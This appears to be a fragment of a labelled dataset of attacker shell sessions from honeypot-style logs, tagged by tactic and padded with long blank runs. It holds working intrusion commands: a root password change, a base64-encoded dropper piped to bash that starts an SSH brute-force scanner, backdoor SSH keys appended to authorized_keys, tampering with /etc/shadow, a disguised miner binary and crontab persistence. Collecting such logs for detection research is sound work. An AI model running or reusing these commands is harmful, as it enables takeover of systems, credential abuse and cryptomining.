                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| grep      | Discovery         | cat /proc/cpuinfo | grep name | wc -l ; echo "root:XP3IUReH9hhH"|chpasswd|bash ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "root 1ntr4n3t" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| grep      | Persistence       | scp -t ~/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C ~/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C rm -f ~/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C chattr -i -a ~/.dhpcd ; LC_ALL=C rm -f ~/.dhpcd ; LC_ALL=C rmdir ~/.dhpcd ; scp -t ~/.dhpcd ; LC_ALL=C ~/.dhpcd ; LC_ALL=C cat /proc/cpuinfo ; LC_ALL=C echo ~ ; LC_ALL=C chattr -i -a /etc/shadow ; LC_ALL=C passwd ; LC_ALL=C passwd ; LC_ALL=C passwd test ; LC_ALL=C passwd test ; LC_ALL=C passwd oracle ; LC_ALL=C passwd oracle ; LC_ALL=C passwd test1 ; LC_ALL=C passwd test1 ; LC_ALL=C chattr +a /etc/shadow ; LC_ALL=C mkdir -p ~/.ssh ; LC_ALL=C chmod 700 ~/.ssh ; LC_ALL=C grep "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7JbMoc/ecBTDxiGqFNKbe564p4aNT6JbYWjNwZ5z6E4iQQDQ0bEp7uBtB0aut0apqDF/SL7pN5ybh2X44aCwDaSEB6bJuJi0yMkZwIvenmtCA1LMAr2XifvGS/Ulac7Qh5vFzfw562cWC+IOI+LyQZAcPgr+CXphJhm8QQ+O454ItXurQX6oPlA2rNfF36fnxYss1ZvUYC80wWTi9k2+/XR3IoQXZHKCFsJiwyKO2CY+jShBbDBbtdOX3/ksHNVNStA/jPE0HYD7u6V2Efjv9K+AEbklMsytD9T60Iu3ua+ugBrP5hL7zAjPHpXH8qW4Ku7dySZ4yvH" ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7JbMoc/ecBTDxiGqFNKbe564p4aNT6JbYWjNwZ5z6E4iQQDQ0bEp7uBtB0aut0apqDF/SL7pN5ybh2X44aCwDaSEB6bJuJi0yMkZwIvenmtCA1LMAr2XifvGS/Ulac7Qh5vFzfw562cWC+IOI+LyQZAcPgr+CXphJhm8QQ+O454ItXurQX6oPlA2rNfF36fnxYss1ZvUYC80wWTi9k2+/XR3IoQXZHKCFsJiwyKO2CY+jShBbDBbtdOX3/ksHNVNStA/jPE0HYD7u6V2Efjv9K+AEbklMsytD9T60Iu3ua+ugBrP5hL7zAjPHpXH8qW4Ku7dySZ4yvH >>~/.ssh/authorized_keys ; LC_ALL=C grep "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTiGm9b44ZjkQoMkcGuVsC8SGW7a9aFODS6nb64WnMwBwKPja7k56LyBBdVRm+MeKecx6Q/qLn5J+ggJ6um/LoCjKJLrX2dFOjGdyR4ZjnVBwibgr8PLrPoo7bUkaR3DMjfhcmoRlFrj51aN6g0TYHejCmug3TRpg37djYKqJ539iGNcmj021ZlzDBrjfIxUY849O72GsMuytk8n3K6XFxHj8gHyOsB7NgyvE39x9/SoGq2gkQS6TFun6dhmsr+ORokfS2265RwbdEOfnwL2LnQNuhiePlOUHRqzpc0K2pu9TGo1vNRIGSymCatMUNgnNX3tfcuMP5e8f1xDVh7fx3" ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTiGm9b44ZjkQoMkcGuVsC8SGW7a9aFODS6nb64WnMwBwKPja7k56LyBBdVRm+MeKecx6Q/qLn5J+ggJ6um/LoCjKJLrX2dFOjGdyR4ZjnVBwibgr8PLrPoo7bUkaR3DMjfhcmoRlFrj51aN6g0TYHejCmug3TRpg37djYKqJ539iGNcmj021ZlzDBrjfIxUY849O72GsMuytk8n3K6XFxHj8gHyOsB7NgyvE39x9/SoGq2gkQS6TFun6dhmsr+ORokfS2265RwbdEOfnwL2LnQNuhiePlOUHRqzpc0K2pu9TGo1vNRIGSymCatMUNgnNX3tfcuMP5e8f1xDVh7fx3 >>~/.ssh/authorized_keys ; LC_ALL=C netstat -plnt ; LC_ALL=C ss -tln ; scp -t /dev/shm/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C /dev/shm/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C rm -f /dev/shm/6vqzhh1w2sus12ms9e1oxuqryj ; scp -t /tmp/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C /tmp/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C rm -f /tmp/6vqzhh1w2sus12ms9e1oxuqryj ; scp -t /tmp/knrm ; scp -t /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C rm -f /home/admin/.dhpcd ; scp -t /home/admin/.dhpcd ; LC_ALL=C /home/admin/.dhpcd -o 127.0.0.1:4444 -t4 --safe -B >/dev/null 2>/dev/null ; LC_ALL=C top -bn1 ; LC_ALL=C crontab -l ; LC_ALL=C chattr -i /var/spool/cron/crontabs/root ; LC_ALL=C crontab - ; LC_ALL=C crontab -l ; LC_ALL=C rm -f /tmp/r /tmp/knrm                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| rm        | Defense Evasion   | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox TIPZU ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TIPZU ; tftp; wget; /bin/busybox TIPZU ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox TIPZU ; rm .s; exit                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| rm        | Discovery         | cat /proc/cpuinfo | grep name | wc -l ; echo "root:XP3IUReH9hhH"|chpasswd|bash ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "root 1ntr4n3t" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             